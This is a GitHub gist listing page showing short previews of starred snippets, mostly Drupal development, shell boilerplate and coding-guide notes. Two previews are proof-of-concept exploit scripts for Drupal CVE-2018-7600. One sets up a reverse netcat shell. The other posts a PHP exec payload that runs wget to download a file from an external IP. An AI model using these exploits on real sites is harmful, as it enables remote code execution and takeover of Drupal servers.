Skip to content

Instantly share code, notes, and snippets.

View AlexSkrypnyk's full-sized avatar
💭
https://github.com/drevops

Alex Skrypnyk AlexSkrypnyk

💭
https://github.com/drevops
View GitHub Profile
@AlbinoDrought
AlbinoDrought / drupal-reverse-shell.sh
Created April 12, 2018 18:35
Drupal CVE-2018-7600 PoC - reverse netcat shell ;)
#!/bin/sh
YOUR_EXTERNAL_IP="172.16.30.108"
YOUR_NETCAT_PORT="6969"
# Start up a netcat server
# netcat -l 6969
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
@AlbinoDrought
AlbinoDrought / exploit.sh
Created April 12, 2018 17:18
Drupal CVE-2018-7600 PoC
#!/bin/sh
# https://github.com/a2u/CVE-2018-7600/issues/2
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
PHP_ARG="wget http://172.16.30.108:6969/foob.php"
curl -X POST \
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-F form_id=user_register_form \
@nicksantamaria
nicksantamaria / run.sh
Last active February 26, 2021 01:12
Boilerplate bash script
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
#/ Usage:
#/ Description:
#/ Examples:
#/ Options:
#/ --help: Display this help message
usage() { grep '^#/' "$0" | cut -c4- ; exit 0 ; }
@wojteklu
wojteklu / clean_code.md
Last active April 26, 2024 16:51
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@raphaellarrinaga
raphaellarrinaga / drupal_8_twig_cheatsheet.md
Last active July 20, 2023 21:21
[Drupal 8 Twig cheatsheet] #tags: drupal8, twig, cheatsheet

Drupal 8 Twig cheatsheet

Please note I created that sheet as a personal side note/draft and not everything is fully tested. There could be errors or better things to do. So if you spot something wrong or something that can be improved, feel free to comment below and I will do the changes.

Getting Drupal 8 field values in Twig

Image path: {{ file_url(content.field_name['#items'].entity.uri.value) }}

@thom8
thom8 / deploy-playbook.yml
Created November 20, 2015 00:38
ansible-playbook deploy-playbook.yml -e "project=<project>" -e "branch=<branch>"
---
- hosts: "tag_UID_{{ (branch+project) | checksum }}"
connection: local
gather_facts: no
tasks:
- name: Terminate existing instance
local_action: ec2
state=absent
@PurpleBooth
PurpleBooth / README-Template.md
Last active April 26, 2024 17:22
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@messageagency
messageagency / pconnect.sh
Last active March 30, 2021 21:47
Pantheon DB Connection Script
#!/bin/sh
# exit on any errors:
set -e
if [ $# -lt 1 ]
then
echo "Usage: $0 @pantheon-alias"
exit 1
fi
@ronanguilloux
ronanguilloux / pre-commit
Last active February 21, 2022 12:44 — forked from cjsaylor/pre-commit
phplint + phpcs + php-cs-fixer PHP-related pre-commit git hook (needs to add squizlabs/php_codesniffer & fabpot/php-cs-fixer to your composer.json)
#!/bin/sh
# @source: https://gist.github.com/ronanguilloux/11f6a788358577474ab4
# @link http://tech.zumba.com/2014/04/14/control-code-quality/
PROJECT=`php -r "echo dirname(dirname(dirname(realpath('$0'))));"`
STAGED_FILES_CMD=`git diff --cached --name-only --diff-filter=ACMR HEAD | grep \\\\.php`
# Determine if a file list is passed
#!/bin/bash
#
# Bash script to setup headless Selenium (uses Xvfb and Chrome)
# (Tested on Ubuntu 12.04) trying on ubuntu server 14.04
# Add Google Chrome's repo to sources.list
echo "deb http://dl.google.com/linux/chrome/deb/ stable main" | sudo tee -a /etc/apt/sources.list
# Install Google's public key used for signing packages (e.g. Chrome)
# (Source: http://www.google.com/linuxrepositories/)